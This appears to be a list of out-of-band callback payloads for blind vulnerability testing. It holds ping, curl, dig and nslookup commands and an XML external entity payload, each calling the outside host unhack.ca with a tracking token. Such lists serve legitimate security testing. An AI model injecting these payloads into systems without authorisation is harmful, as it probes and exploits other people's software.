$ ping -c1 -p 007c82daec65c6e4de78d041c0033d00 unhack.ca
$ curl http://unhack.ca/p/7c82daec65c6e4de78d041c0033d
$ dig 7c82daec65c6e4de78d041c0033d @unhack.ca
$ dig 7c82daec65c6e4de78d041c0033d.ns.unhack.ca
C:\> nslookup 7c82daec65c6e4de78d041c0033d unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/7c82daec65c6e4de78d041c0033d">]> <foo>&xxe;</foo>